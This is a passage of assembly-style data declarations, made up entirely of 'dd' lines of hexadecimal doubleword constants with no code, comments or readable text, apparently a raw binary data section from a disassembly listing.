dd 688D7C2Dh, 0ED09D808h, 283862E3h, 8505A061h, 71571F0Eh
dd 28A7D201h, 5CA7EB1Dh, 0CEEA2177h, 7A214568h, 0A95F555Dh
dd 704AC704h, 0B4E8E2E8h, 31264A01h, 346578B2h, 15760086h
dd 0AE91A77Ch, 72694B2Eh, 0B776DF3Eh, 5112FD1Dh, 64065459h
dd 0D4706700h, 0F63276B5h, 28D106F9h, 0C774B33h, 0F636582Ah
dd 0C8A3260Dh, 5FD1E66Dh, 65480D0Bh, 0D73A96h, 0EA51459Ch
dd 45C9316Ah, 808B37F5h
dd 0EA214BEBh, 0E71A928Fh, 8B7F7556h, 0CBEDC6BEh, 0CF460253h
dd 0EC53B15Dh, 0F659545Dh, 0ADB92127h, 534C5AEEh, 0BCC59653h
dd 8EE32D8Ah, 0CB6ED3D6h, 1B71272Ah, 460704B0h, 2BB701A8h
dd 5616BDF9h, 0F31644A7h, 5DA2B6C4h, 0BE8CD2FDh, 0B01BDAF8h
dd 0D186629Dh, 8AD15B58h, 17287340h, 0AF4A85B5h, 3CEB0DA0h
dd 1A9516D4h, 8820F89Bh, 6F60E41Ch, 1C569B4h, 208B06Dh
dd 0D552E0BDh, 8CA8BA3Ch, 0D06A2EF2h, 0D1250C8Bh, 193D7B2Eh
dd 4723B760h, 11AC050Fh, 47D60B73h, 0F2221812h, 30AEC6BEh
dd 0A2D8164Ch, 8110F2EAh, 84DCD7E7h, 0F7F2B261h, 935922A5h
dd 0F1A5BBCAh, 410952Ah, 0F6254311h, 87A4703Ah, 0DC020649h
dd 179884A1h, 0CFC565FEh, 108CEAFDh, 123DC242h, 92FC338h
dd 4B708026h, 421882EEh, 0A7F24897h, 4D01B657h, 0C0BB0B10h
dd 3F6F14D6h, 2D930F04h, 41138083h, 9271B017h, 4FE596CCh
dd 4345D147h, 0DA2FA361h, 0E5D3A40Bh, 86523B7Eh, 0DD2BA2EAh
dd 0A15F3EE4h, 654A19F9h, 1CB54241h, 87518DBBh, 0D183DCF7h
dd 0FC77D217h, 0FA4C182Ch, 0E8451284h, 3E13D7F9h, 0BE416013h
dd 3C60B0F0h, 0AE91D7F2h, 64FC1D95h, 0A2A384AFh, 620DC437h
dd 4DE8B714h, 1CBB4773h, 2C8B3B18h, 3AEFCC17h, 3BB03762h
dd 0EF69851Ah, 0D506C8B3h, 0A6CDD8EBh, 30221BE8h, 32E7044Eh
dd 0FB6FBB70h, 5D6982CAh, 40C2DECh, 2A775D02h, 0B477E509h
dd 0A474294Ch, 0D5833A2Bh, 0CC279085h, 376E9C6Eh, 56745672h
dd 3243D2B1h, 2AB25101h, 0A843C29Ch, 0D01EB71Bh, 0F22CF33Dh
dd 0A6748498h, 0DAEA6DE2h, 19E0DDA8h, 54FD9E7Bh, 0CB580694h
dd 5851C589h, 9C6071D0h, 38D6F724h, 9AD83E5Eh, 0E37D5E40h
dd 4756EAD8h, 7F10199Ah, 749BC531h, 8BC520Bh, 36CA80CCh
dd 0D8AEC59Bh, 0C296745Dh, 0A277218h, 0B421DE04h, 0E0B24697h
dd 0BAE9D5AEh, 98E24552h, 8293557Ch, 0FAC5D9Bh, 0D4477678h
dd 0F141E63Dh, 1CD565B4h, 3A9FC73Bh, 0BDAB4223h, 9A92C4DBh
dd 0E9A2C587h, 38C71108h, 0FF23760Fh, 2629E97Ch, 4C4238CBh
dd 60177B1Fh, 7DCDD712h, 6647B676h, 0A79F7998h, 0EAF76FA1h
dd 0ED4BC442h, 0D3CFBFDDh, 0C072B764h, 5501E268h, 62EE3F66h
dd 35CE5EFBh, 4B7BC38h, 51C41D8Bh, 206AD488h, 5B069202h
dd 0C8CCC581h, 0C1B003B3h, 272C2A28h, 1101FE8Fh, 8B05F323h
dd 51BE7468h, 76047981h, 0E656BBDAh, 2303459Fh, 63490A2Ah
dd 0CC58F63Dh, 0C5CD182Dh, 603E91C0h, 4256F4BBh, 3574174Ah
dd 0B27823Dh, 0A48AD8A6h, 5202F0E8h, 752FB23Dh, 15A74E60h
dd 0F045C749h, 201C00C5h, 0F458C942h, 6889118Eh, 0C3C91872h
dd 9938E060h, 8A77624Fh, 0FACCEB83h, 76C41167h, 0F07C064Eh
dd 94307343h, 13C9106Fh, 9946506Dh, 6313423Dh, 3D719A26h
dd 2659C9A2h, 623D4696h, 0A29213C9h, 68F14949h, 0A3C279FBh
dd 0D01B8079h, 0E7E99891h, 80C30309h, 442E1006h, 513879FBh
dd 968E5D19h, 0CD3042E8h, 65A1A31Eh, 9B06553Ah, 0D38498D0h
dd 1A7B8368h, 426CDA78h, 19404469h, 1369394Fh, 0E51135CDh
dd 0D78E09Dh, 0B3DA58Ch, 0E98DC03Ch, 94F17F22h, 0CB0DF77Ah
dd 233101A2h, 45F3DDDBh, 0C25B71CCh, 786159Ch, 5D265315h
dd 90370D32h, 0AA6ADBFEh, 8F5216CBh, 4D2E6CD4h, 0F59DAB0h
dd 30892D57h, 350DCC1Ah, 785D24FDh, 0D3CECB9Bh, 0D4043228h
dd 0DBD22E83h, 0A629C1C3h, 0C417B092h, 0D53BBBC4h, 672B4462h
dd 1446D6B4h, 0F5B15Ah, 2454F9A5h, 1F6C259Dh, 1AF28A28h
dd 7EA7ED07h, 0FA617EC2h, 23D41337h, 71DDD345h, 0FFFAA4D3h
dd 0F67FB781h, 0E79B1F81h, 0E8EA0ABAh, 0F694A443h, 72288142h
dd 402F8FD9h, 262C641h, 1B7C6A0Ah, 8C21F8D0h, 5F9C2E8Ah
dd 651A8269h, 0DE481C03h, 0E4DA4301h, 446FF433h, 37C11403h
dd 7F03B3D6h, 0F0499E63h, 21855261h, 4809D5A2h, 0EF57B7E0h
dd 8B8A659h, 88B17DDBh, 0C764CFDEh, 31019890h, 0C2256D0Ah
dd 5A20C0D2h, 0D6F17585h, 49FB7405h, 87210639h, 0F25609C2h
dd 0E780F057h, 323095F2h, 4E4EECBBh, 251131h, 62351414h
dd 6B466D7Ch, 41602FB1h, 829063ABh, 7161750Bh, 6F959553h
dd 58882EC6h, 331334F2h, 71AAFA20h, 50E3EB8Ch, 0D0DD92C4h
dd 0A24530ECh, 156964EAh, 0B7CE0F29h, 0AA21ECFEh, 0C0699ACFh
dd 72D8E019h, 0D06040C8h, 2405F8D1h, 88894FAAh, 2C7C7F11h
dd 65CA5442h, 30957114h, 7395A12Ah, 1988BFC8h, 0B262FC43h
dd 0A1FD42B0h, 69406376h, 60628BFEh, 1F5516D1h, 168C2DB7h
dd 421FFC7Ah, 66383118h, 0B2013464h, 28048131h, 80367B1Bh
dd 37BCC6Ch, 0D184D0BFh, 0A831335Bh, 127440E3h, 0CE326AE3h
dd 0A48618Ah, 8C5D8D3Ch, 2347E334h, 88F0368Ch, 2AA911C3h
dd 0A60EF5B2h, 55C2F8F8h, 6C4F5E25h, 918E8D80h, 17564089h
dd 8B1C8AC2h, 400B07CFh, 80997903h, 6D8DA9Fh, 6F638E30h
dd 208DE3E0h, 0A7318F7Ah, 753DECF8h, 328D06CCh, 288C104Eh
dd 88235442h, 0C3885D36h, 288C4511h, 1D4AC5BEh, 501E40B3h
dd 1C439F44h, 27A9572h, 0A720AC03h, 0E4E6658Eh, 4571E495h
dd 57F3095Bh, 0E8E89E86h, 49E6799h, 118662F3h, 0C1B638E2h
dd 0BE833998h, 69AB3B75h, 68424704h, 106918F9h, 60BA4B08h
dd 0DE3B0B04h, 513F379h, 90845828h, 0D444218Bh, 0C5D3E328h
dd 34312188h, 8B346842h, 7EBD1C38h, 491A2717h, 0EF83D633h
dd 0E257CEB4h, 8A310FC1h, 44F98E4h, 0F8048591h, 84045AC7h
dd 13B6CFD9h, 996F4C07h, 5344278Bh, 0A702424h, 0DB8C7A06h
dd 7F7FDB2h, 582F5E6h, 967A1B09h, 11A87D90h, 0E4FBE36Ch
dd 3D303500h, 280F6C70h, 0EC07560Bh, 81037AF2h, 346D8BDBh
dd 5DEFFB0Fh, 9F668A4Ch, 5D5981A0h, 27E15B74h, 0BA4A5748h
dd 44431BF8h, 196E4302h, 566DE48Eh, 0FEDA39E5h, 0C4809A80h
dd 51A9A218h, 5D65FBDDh, 4CEBFAA2h, 0DF9A0C31h, 16D528FEh
dd 208C4414h, 0D0E00EDAh, 53102B78h, 0F8A3BB26h, 54F45920h
dd 8E058AFAh, 70C013ECh, 34CA5D2h, 2CF6BFD4h, 6F291CFAh
dd 5CE2A317h, 77B98DEh, 0DACE9F36h, 462D184Eh, 0A22FA22Ah
dd 0D3F61A0Eh, 4685697h, 5F6DA71Fh, 0D0227C5h, 3408DF3Eh
dd 0C0707013h, 0F2D8044h, 0E0F6D025h, 0C8CFE686h, 13414F22h
dd 404D2E03h, 5180191Dh, 407B9A08h, 60C1E040h, 0EB1AD77Dh
dd 99FC4C52h, 92F6A771h, 40BA9E30h, 14DA0FF1h, 8A224A18h
dd 0EB285D74h, 6A27B57Eh, 661F4D1Ah, 0ECF305D3h, 121AF946h
dd 90F24058h, 4A436D51h, 0ED2C0CDCh, 0A4C11409h, 230020BAh
dd 0A0D6868Dh, 9390F30Bh, 8D945020h, 8194337h, 24F32F13h
dd 673A4CDFh, 0CF83E08Eh, 45988893h, 9D583EFBh, 474617F9h
dd 48C016D8h, 0A1A60BB2h, 0B681C2A1h, 8AED022h, 0C281F34h
dd 23D462FEh, 259034F1h, 0AD584834h, 19B34C69h, 0AD8FA41Dh
dd 6FCA1D03h, 1D65A51Ah, 0D68AE22Bh, 8E98B93Eh, 0C7AE834Eh
dd 628C455Ch, 0D96A28Ah, 0E22F622Ch, 302F9449h, 0DD0831BFh
dd 6D25E39Eh, 14A6604Eh, 0C8144237h, 0AEB69D46h, 0B181610Dh
dd 8C7B7B44h, 45C67543h, 3C9D2E19h, 9D0AD957h, 497363Dh
dd 0C50177D4h, 5FC199Bh, 0F9822546h, 4975012h, 0E4552F14h
dd 345CBD3Ah, 136FB11Dh, 0C0B35D71h, 0CE888268h, 0B8CB30EAh
dd 0A7D5E678h, 3E1E19ACh, 158FA812h, 91F0E250h, 4B331DC0h
dd 2E8872B1h, 7AAD6988h
dd 59ECC5FAh, 9167AE00h, 9D345674h, 2D288729h, 4F785488h
dd 0A6076D28h, 795B3C9Eh, 7AB77453h, 1AD30952h, 0B5FB2938h
dd 453EE704h, 52F751D5h, 699694E5h, 8DDF95Dh, 0BF57C1CEh
dd 9096220Ah, 0E50BE802h, 0B5232131h, 0C6ED3B09h, 3E73F4E0h
dd 1BE83CFDh, 0F84C4C79h, 513FC039h, 0D804FE26h, 480F4A17h
dd 0A034D40Ch, 2848E077h, 7C72AE78h, 90138917h, 0FF1D708Bh
dd 8C75039Ah, 181AB3B2h, 0CB163AC6h, 0E0D0457Eh, 0FB04853Bh
dd 7218A5A0h, 84534B2Fh, 0DFC410BFh, 2F5E688Fh, 9280E67Fh
dd 3CD18Ah, 0A5D38814h, 913FF70Eh, 0C7AAACFAh, 0C8F881C2h
dd 1E1E0713h, 5AB86DF5h, 4FBE60FDh, 5C6F8901h, 7ED19FB4h
dd 77C4CF2h, 6EF42E94h, 91250F72h, 55A84C7Eh, 0AEF3CAEAh
dd 0C3466A4Ah, 0AA1E4CD1h, 0FD3DBF8Bh, 0EDFC6D48h, 2E6959E9h
dd 4EF3039h, 19453C0h, 1120C2BEh, 23C7F126h, 0A2297E9Ah
dd 8EA2516Fh, 303F3047h, 0E3A8CC4Ah, 0F69D4B11h, 8EA7B7C3h
dd 33FB2847h, 0F1703C49h, 2BB31E0Ch, 5A398FEDh, 694CC482h
dd 0F4638B19h, 34D75ED5h, 0D6458367h, 0B6C0FBB9h, 9EBE2C15h
dd 151EBE7Ch, 0BFEAE8F8h, 727FB155h, 0D558A6C0h, 4509E687h
dd 0A68C64E5h, 0F303199Fh, 0C97A15B5h, 38070455h, 0ECC460B2h
dd 57708C16h, 8A2A99Fh, 47553EB3h, 9519B77Bh, 0B5F04281h
dd 2DC5A702h, 2E51A6C6h, 0B475A27h, 0C5BBC608h, 0C12F3ACh
dd 0EA5A7BA8h, 48B8A87h, 0E8B90226h, 68B563Ah, 7A48464Ah
dd 16397311h, 0C5779411h, 0DC12D845h, 4DB713F6h, 46AD776Fh
dd 0B73DF57Bh, 87BC7747h, 16EB3E8Ah, 0EBCCBF1Eh, 0EC2FD534h
dd 0D8FBF29Bh, 0D1BED3D3h, 9014FBF3h, 66F50634h, 2F707064h
dd 419D189Ch, 0CCDACB30h, 62E882AEh, 637DDB44h, 3370A098h
dd 1BE077Ah, 0DE6C346Bh, 0D67BD567h, 5E4BE190h, 80DC5FF3h
dd 39EF9505h, 0D2B9E08h, 256A7220h, 0C269C954h, 7C23E06Ah
dd 0BCFD40F4h, 0DE9EC8F2h, 94A26E3h, 255D0214h, 3DBCB811h
dd 0E07A9476h, 0C2BAF7AEh, 2E30816Eh, 610C2BCEh, 1C15D1B7h
dd 0AB0634D9h, 90DE0D82h, 7A874CF2h, 6D00F49h, 0DEBBC34Eh
dd 661843C0h, 0E30AE524h, 143B464Ah, 7874EE98h, 488FA8F0h
dd 2E0F1576h, 0EC1721FDh, 0BFF1E1F6h, 4DA92C44h, 5C5F560Ch
dd 18138398h, 0E1B6C60Eh, 65D80385h, 5A948EE7h, 0D2E914Fh
dd 0BB8C8B98h, 0F72233DAh, 0DB52DB4h, 0B993B65h, 52C3A9Ch
dd 0BB67C07Ah, 0DCAFE812h, 7D9D36D3h, 39ED66AFh, 45C0905Bh
dd 0A2576051h, 0F463CA60h, 0ECC1B1ECh, 57C547F2h, 33003B2Bh
dd 1C8F9814h, 24D27230h, 0CB097A77h, 50C56720h, 0C1898B54h
dd 820CB2E4h, 0D424A449h, 4A1D6114h, 0E833A27Eh, 20794AC2h
dd 863F23A5h, 190BEA9Eh, 0BC31CF94h, 3ED3C60Ch, 5CE3FBh
dd 0E51D6685h, 35D43867h, 33028481h, 2E7489A9h, 0F343E62Ch
dd 0CFAC9803h, 4714E244h, 2487CA60h, 0C1EC7E85h, 3340BA6Eh
dd 0E045681Ah, 692A1EA7h, 1F0323B0h, 534AC00Ch, 0B0E1CAF0h
dd 8FDBF833h, 0E3E582DCh, 28010457h, 8670401Bh, 0C916B979h
dd 0DD843D01h, 5403C1Dh, 71834C56h, 28CBF983h, 2AE755B4h
dd 62DB881Eh, 0DB43CE31h, 680C71B8h, 8831CBEFh, 0AA81509Fh
dd 99829C2Ah, 0FBA498D9h, 94A0F6A8h, 6E215989h, 49980487h
dd 0C083B64h, 79FCD461h, 0CC4C5C42h, 37CE8626h, 5DC4A15Bh
dd 331A2445h, 3AB76F80h, 9FCECA02h, 754D0906h, 0E661609Dh
dd 24CAA8C9h, 81563CB2h, 660030D1h, 280760D0h, 800DEE19h
dd 80D517AFh, 793D602Ah, 52548663h, 4CCBDB67h, 523CA1F8h
dd 0B8048D8Ah, 0A00FCA7Dh, 3234CA7Dh, 9FCF301Ah, 1740958Bh
dd 0ED4676AEh, 811623AEh, 96B02431h, 2936E311h, 8AA23AE4h
dd 39D29F26h, 35875330h, 0D312EF5Eh, 0D7F4C986h, 11E39437h
dd 46119431h, 9A67080Eh, 24C8282h, 3FA6E950h, 0D8856833h
dd 7C7D4352h, 604DF2FFh, 0FD0DEB42h, 0D98E48FDh, 6D4C2B07h
dd 0E9A1479Ah, 3104D03h, 0A8A601DCh, 651306A1h, 0D46633B0h
dd 81EF15D1h, 18AF57CBh, 4CF3A70Eh, 12292DDDh, 22C523CCh
dd 0CCE0E788h, 0CAE0EA3h, 0E30467D6h, 9488E620h, 6B0C9303h
dd 50A08B03h, 8F417DA3h, 5A145095h, 0A37B239Fh, 20D85A0Ch
dd 87454631h, 817A1B3Bh, 62C02295h, 4702E315h, 0E38AADD0h
dd 8907BEDBh, 0BE32BE4h, 283755A1h, 1597C803h, 0BE883CBBh
dd 2D1ED732h, 95462337h, 9037D122h, 5317173Ah, 80CC0198h
dd 1591F5DFh, 732FECBFh, 6945B2CBh, 8163CB75h, 9DB6994Dh
dd 0C56E1A2Fh, 6F8A2833h, 0A1C861D5h, 0BA4C3F7Dh, 87C8F1E8h
dd 0F829CD0Fh, 0ADD01217h, 0EB39F92Bh, 0F1442ABh, 35E8306Bh
dd 66285B36h, 4788FB52h, 0BEAACA74h, 6ADD9F82h, 5EFB6AAEh
dd 4D557945h, 4E06C395h, 45A95157h, 0FC9A8191h, 22161047h
dd 9E5556FAh, 3AB15D4Ch, 874ABEE4h, 0B4094490h, 0F2E1ADD0h
dd 443B734Ch, 63B504B4h, 0AA694B99h, 260AA6BEh, 31287F2Eh
dd 7CA98EFDh, 0BDD2AAB7h, 46A35160h, 555F80B8h, 5D830666h
dd 2E4EB6F4h, 0DE829CFCh, 9FCF2CC0h, 330CC8B9h, 0A47BE8C7h
dd 1F302CBEh, 0E2158B0Ah, 87C8E67Dh, 0E7989577h, 9190DF3h
dd 0E1D7D966h, 57225516h, 1EB4203Eh, 0FB0B76B5h, 7715661Dh
dd 99DF7CDCh, 8AFFF686h, 0DFA2B0F4h, 327FBF58h, 4650EF84h
dd 0A817E6B5h, 180E018h, 95A857C6h, 95AB298h, 0D6B30869h
dd 0B9D3361Dh, 4053AD27h, 55E2305Ah, 26004BD8h, 7A03830Dh
dd 0AAEAF60Fh, 0D79550ABh, 0B96E948Ch, 0AB80F8C5h, 1F58E07Dh
dd 1ED08A7Eh, 0A756ECA2h, 76CBC201h, 0DF947607h, 5F49A7C5h
dd 0D109BF4Eh, 1C026A82h, 2A590C8Fh, 579BBBFEh, 21682D6Ah
dd 0F136C5AAh, 0DAB7A42Ah, 4BE7D5E5h, 0BEDB180Eh, 6AB2A934h
dd 1CC355F1h, 0E053921Dh, 0A708D808h, 25F63445h, 0C1EEB4F1h
dd 24E8ED5Bh, 386945C6h, 0A69FB2EBh, 6122CF5h, 433D9F03h
dd 311095EFh, 180FAAAFh, 0B0BA1152h, 94C2151Dh, 0E84CEADDh
dd 0FDF60E86h, 0DFF71490h, 4ED2120Bh, 0C5052AE9h, 0D82FD604h
dd 0BB1F2058h, 0B2A9517Fh, 0B9B19925h, 0B68112C6h, 32889ED0h
dd 0F0663673h, 39B05C97h, 5256C57Ch, 0E2200864h, 3DE96B0Eh
dd 262F0E79h, 0C3623A9Bh, 0F2D35BD2h, 2A028AB2h, 6A0CB553h
dd 9B364632h, 0A3A0B7F4h, 0E65C03C8h, 0AAF8108Bh, 0C764693Bh
dd 0A7A90FA8h, 0AF5E0ECAh, 2CA900EFh, 0AB5BEE67h, 0AE76811Fh
dd 0F7220B0Ch, 40774DDCh, 95D41757h, 32960098h, 26B9D0C9h
dd 50959F76h, 0CB2283D3h, 0DA33E684h, 5A311C8Fh, 4547838Ah
dd 0CB05C37Dh, 0A316E23Fh, 3F1C9022h, 30CB8CA2h, 6446FE52h
dd 0EEABF95Fh, 8AABD154h, 359FC73Bh, 4663002Ah, 0FE4B127Dh
dd 89E94E1Fh, 0DEE2CB8h, 88DB7DE0h, 623611B6h, 488D046Dh
dd 0CE23A11Bh, 0B288A046h, 6C626611h, 4041D904h, 0BC205CC2h
dd 11AF8803h, 846B0DE0h, 0B00388D7h, 0EB2AA04Dh, 92429519h
dd 4C0F0D4Ch, 217D2E51h, 2361A40Ah, 0C7731968h, 0F9186020h
dd 1A15F64Ah, 7D9DBE20h, 0C318F093h, 35B122A1h, 0C2731B82h
dd 53C51AD0h, 9148C009h, 9429D124h, 31865A9Eh, 5F7F9100h
dd 0C2174CFAh, 4F5D8810h, 0A257D0BCh, 0A88040B8h, 7D3E01A6h
dd 88A82D74h, 0F937A29Dh, 0DFE60642h, 6C815FA7h, 1580E05h
dd 0A372F191h, 0C256840Fh, 210874Eh, 1395EF08h, 4236A5BBh
dd 402180C4h, 33EF0911h
dd 0D8C13A94h, 5BE1DA27h, 83D29523h, 15D84418h, 3D14A756h
dd 8DD8C310h, 874A20h, 0A0B1622Dh, 4498A7EBh, 205B02D1h
dd 7C129F66h, 4D112C8Bh, 66218C04h, 941D037Eh, 0DA033A20h
dd 4C5F2865h, 39CC4E13h, 46401ABCh, 9F557E16h, 399F9AC0h
dd 4CBEEAD5h, 8CD3FD90h, 154695A3h, 1C4814C3h, 61D40CA9h
dd 38912895h, 38938E30h, 15108472h, 0D68816EAh, 6BA262Dh
dd 0B9D1271Dh, 0EC93A31Ah, 85F6F593h, 0BE2862EAh, 68C2D8B7h
dd 4E88D1C4h, 0EEA72D14h, 52BD2753h, 9ABD933h, 801B5F63h
dd 541188D5h, 0D484AA23h, 3501A988h, 8D386A22h, 234C1A78h
dd 8D2469Ah, 9AD411A5h, 0A4274642h, 22906AA0h, 0B6018CAFh
dd 45ABE17h, 0C3266634h, 8417406Fh, 0AE3D5B28h, 0E1474922h
dd 786E16B9h, 6E0C1742h, 0C6D5C85Dh, 0AD1D69D4h, 89454F54h
dd 8BE40EEAh, 6ACE1104h, 87BC41Dh, 413ED8ADh, 34071E1Ah
dd 4C2F007Ah, 758A5ECAh, 1847DABDh, 8B8A2ABDh, 9CBAE2BCh
dd 5557BECAh, 0D7723A08h, 0C76F2486h, 858A7850h, 0CFDDC31Ch
dd 48396FC1h, 37174FF7h, 9F920FDAh, 0B1733A0Ah, 463E12D0h
dd 305E411Ah, 0C6DA383Bh, 0F06D6268h, 6B40C4B8h, 0BA43A2F9h
dd 0C9227908h, 6627017h, 0E1A0C2A1h, 42E40D81h, 0BF64E056h
dd 1BA43AA9h, 0EFCA2110h, 8B1A1EACh, 0D13A8303h, 4D386309h
dd 1086417Ch, 2682F28h, 0C24A15C3h, 983C2A8h, 0E8C08591h
dd 0BDDA830Dh, 2BE454h, 1B0B18C7h, 0E503AC6Dh, 8D148215h
dd 24C4A380h, 0D1D0468Ch, 81470F69h, 0E1B12223h, 12042065h
dd 7DC3AA87h, 60260FAEh, 51806416h, 7C51545Fh, 42E6C4F6h
dd 27FA4DC5h, 8015ED28h, 40000E45h, 6000C224h, 70000001h
dd 434A0041h, 1000h, 0
dd 20C4AFB0h, 12244046h, 4494C92Ah, 325584ADh, 495E92C8h
dd 25A24BE5h, 7C4001B6h, 0D7A020D2h, 8E312Ch, 25684ABh
dd 4953129Fh, 25284A30h, 94192FC5h, 0E50F625Dh, 0C4BA0970h
dd 92DA25A0h, 4B8C1037h, 0C4AD8955h, 92A52520h, 4A1497F2h
dd 0F087A004h, 7C097312h, 0DF25A84Bh, 3494CAFCh, 872AF687h
dd 692F625Fh, 0C48E898Fh, 0C07480C6h, 2C023264h, 0A8495712h
dd 0B6257E4Ah, 682C39A0h, 21C72560h, 0BE215001h, 1A225384h
dd 0A3C94492h, 0D95EDB93h, 3E0DE17Eh, 460836h, 31A011B1h
dd 0F0D6004h, 7B17642Ah, 434801h, 19D25304h, 0A4C94712h
dd 8925024Bh, 0E57743CCh, 97512E02h, 5B84B609h, 6A12CF25h
dd 944B1095h, 0F92BA256h, 0C4AC8957h, 12AA254Ah, 4A8094E1h
dd 29725244h, 0A3894492h, 8425FEBBh, 21F64BD8h, 97892F25h
dd 0F5AD3390h, 1980023h, 610B38DAh, 1740046Fh, 0C96292D9h
dd 25C05313h, 0A0816397h, 113E945h, 928AA502h, 4A269415h
dd 28525174h, 0A1894CD2h, 0B7A5384Ah, 24940D2Bh, 825094A6h
dd 89419285h, 0A5104A10h, 94512BA2h, 5114B04Ah, 8539021h
dd 0B9808C35h, 0A838012Fh, 54402D2Bh, 0FF005A4Eh, 528046BEh
dd 2200C08h, 572CAA18h, 0A2A8E79Eh, 0D54123FDh, 11006E2h
dd 810F6C04h, 7E172420h, 0B6F42717h, 3430C043h, 0E0EEB100h
dd 0C688C189h, 0C0B930C6h, 337D27h, 61851E0Fh, 22AC289Dh
dd 0E6485C84h, 5CD17241h, 734F03CAh, 50C29482h, 0B938CC1h
dd 12B83126h, 8CB9DB0Bh, 7B0E1BC0h, 21142E28h, 10C092E8h
dd 0B0C4DA8Ah, 34429104h, 0A42C3906h, 1641972Ah, 730A5B00h
dd 41BE5D60h, 2CC8D765h, 1E28A5C5h, 6548D30Ah, 66392FA2h
dd 598BA239h, 70BE2041h, 98164280h, 0C51DE605h, 1EC050DAh
dd 11EDD3C4h, 9050CE11h, 0EEC028F4h, 28660C2h, 9D3EBF21h
dd 0C8B8956Fh, 87679A17h, 0DFEDD408h, 0FDD2E563h, 0B85E40A3h
dd 7C896CB2h, 0DB90C89Bh, 0B6D84D12h, 0B7D8D0AFh, 1BB35CACh
dd 0A480832Eh, 905C984h, 0DF0512DCh, 5DB2028h, 2E6ED270h
dd 0FD988D0Ch, 0DD8C2E6Dh, 64732135h, 732837BBh, 615BB081h
dd 4D90420Bh, 0D944D089h, 7020BB85h, 0C1C131A6h, 1405EDCh
dd 0C0A6AE81h, 9B80E2D7h, 466AC364h, 53600200h, 5C242413h
dd 0D321D16Fh, 0B48406D4h, 460908A5h, 0B86108F1h, 45080340h
dd 0A35D01AFh, 99B733C5h, 0C068CCB6h, 0A80069CDh, 882B59B5h
dd 24D9ABC5h, 0A4787E24h, 6BE3C96Fh, 1E0A0B4Eh, 165B480Eh
dd 11E50200h, 320165C2h, 0E862D029h, 1646E72Eh, 4A24DA60h
dd 50B11AB3h, 896DA07Fh, 81F0123Bh, 902BB36Ah, 0A8F2713Fh
dd 2533A056h, 68358A80h, 618AD02h, 43D2992h, 407B4904h
dd 2CF4098Ah, 9370DDCCh, 0D0F11E99h, 0B1D12777h, 17823965h
dd 0C9814BCh, 2D645D9Ah, 0CD6239B0h, 38376F34h, 0D2267008h
dd 0C2833088h, 48DDD940h, 0F292D1C1h, 2A1DE095h, 1AE56104h
dd 8A435261h, 1A6D4EADh, 43A95525h, 0C060D854h, 0A14300FDh
dd 692DC60h, 7A814CCAh, 0BF3328C3h, 5F08D12h, 0CA160A2Dh
dd 146B480Ch, 5048C3A0h, 75303002h, 0F2E2F062h, 0C5750605h
dd 405A5CA5h, 20A39A32h, 0B846A303h, 0AA0B85B5h, 0A403E0E9h
dd 50322881h, 10490A48h, 70034283h, 0E28C040Ah, 0A4A064C2h
dd 0F535A6C3h, 26EF2311h, 2A7A94Fh, 315A5D60h, 347188A6h
dd 9DB219B6h, 0E7D39ABh, 0E189BBB0h, 0B633300Ah, 33B44A1Dh
dd 0D6E4483Dh, 0C31F549h, 5398D58Ch, 58770441h, 0B44A2A96h
dd 350C3A1Ah, 31CC3C08h, 0E2C0F0B3h, 3449691Eh, 823606BEh
dd 14A19AB5h, 6169C637h, 0A175B85Bh, 2D27C155h, 0B53A74CDh
dd 9E28A031h, 0C208B11Eh, 840AA682h, 94E5A0F8h, 241510CCh
dd 0BC0EAEB4h, 7CD0EC54h, 3CA99615h, 314A287Eh, 5BD664A7h
dd 0A1C062E1h, 79514335h, 0E45A7D19h, 49330154h, 6D41B21h
dd 22ED58D4h, 881530FBh, 6705546Ah, 2E42E179h, 69AB7211h
dd 55336260h, 0A1D944B4h, 846295C5h, 0BC17A28Ah, 4B29542Bh
dd 6D1C0AEAh, 23073535h, 0A9B99C0Fh, 483955D4h, 9C2C8B23h
dd 173641E2h, 3BF81DB1h, 0C9F6031Fh, 0FC0AA6DDh, 8B312296h
dd 0C6C8669Dh, 2C213949h, 0B75995BDh, 6EF82555h, 94ED2E76h
dd 93F6E6C8h, 1121808h, 4DBA5B6Eh, 0B0C5725h, 2EBBF482h
dd 0C3858834h, 14EDCA9Dh, 0D1A2CBABh, 6C5460AAh, 174376B3h
dd 4F00953Bh, 8585BFC1h, 2A582DAh, 8725D9AEh, 0CBCDC03Dh
dd 7AA084D8h, 0C58ED62Ah, 175B738Eh, 0C66A0551h, 322C979Ah
dd 80080FE2h, 0CC429340h, 6C07EDC4h, 130092F2h, 0F0F0C39Ah
dd 6BADCC4h, 9A0549B9h, 0D0944516h, 467392Ah, 92D40B1Ah
dd 726D08C6h, 4220FA90h, 0C136A50Ah, 5E8362E4h, 52DC954h
dd 0DBE26D78h, 8E3D4A20h, 46985F42h, 34752680h, 0ECBB317Eh
dd 0CA770A38h, 732DC44Bh, 40EAB6E6h, 8F2E156Bh, 49ABBD3Eh
dd 0CCB08357h, 0A054D610h, 5A9CA513h, 0C0D249A6h, 8B3A8716h
dd 0CD492673h, 8C031A82h, 0D9096EBBh, 291A0C45h, 0B5496AADh
dd 611D8296h, 27016DE3h, 130B278Ah, 5CDB960Ch, 40C9AD32h
dd 0A54D522Ah, 0BC020C29h, 0CB896804h, 71145AB8h, 0A59DA953h
dd 8A531CE4h, 0EEAC0AEEh, 0F4C6505Ch, 6A6588B2h, 0A81D86C3h
dd 0C62E0954h, 60E82D67h, 0FCBA830h, 30E047C6h, 0A6206983h
dd 5025274Bh, 1A40514Dh, 5AD0B0D9h, 0DC9CB2F0h, 151D0A1Dh
dd 0A1A9C396h, 0CB800C53h, 0AEAD6A0Bh, 0C58C172Ah, 0B531DC67h
dd 44E4C04Eh, 0A23C6E9h, 4B26A5F1h, 0D203A79Ah, 59B742F7h
dd 510DEC82h, 537A01D8h, 0C2178911h, 0E2982F56h, 2C4F6021h
dd 29E6C10Eh, 9C47F20h, 0A4DD3309h, 673466D4h, 0B6638A4h
dd 6D9C955Bh, 9AD40A68h, 142A966Dh, 2E9521F1h, 0B082C2C4h
dd 0A29DB37Bh, 472CC2Ch, 565BAA4h, 0F0096FB6h, 85061532h
dd 836359C0h, 70506288h, 404A512Ah, 0C52A1496h, 0D6520F01h
dd 0A9DA04A0h, 90D22C1Eh, 28F503E1h, 0FA428CC2h, 8CEA6F55h
dd 9705349Ah, 0D284D00Ch, 16382DF6h, 123C5053h, 59F40591h
dd 2822A943h, 2C7128A2h, 51559311h, 6506872Bh, 0C13138Eh
dd 78188E3h, 0A9402555h, 0A0D14AD6h, 15880A94h, 9C8B471h
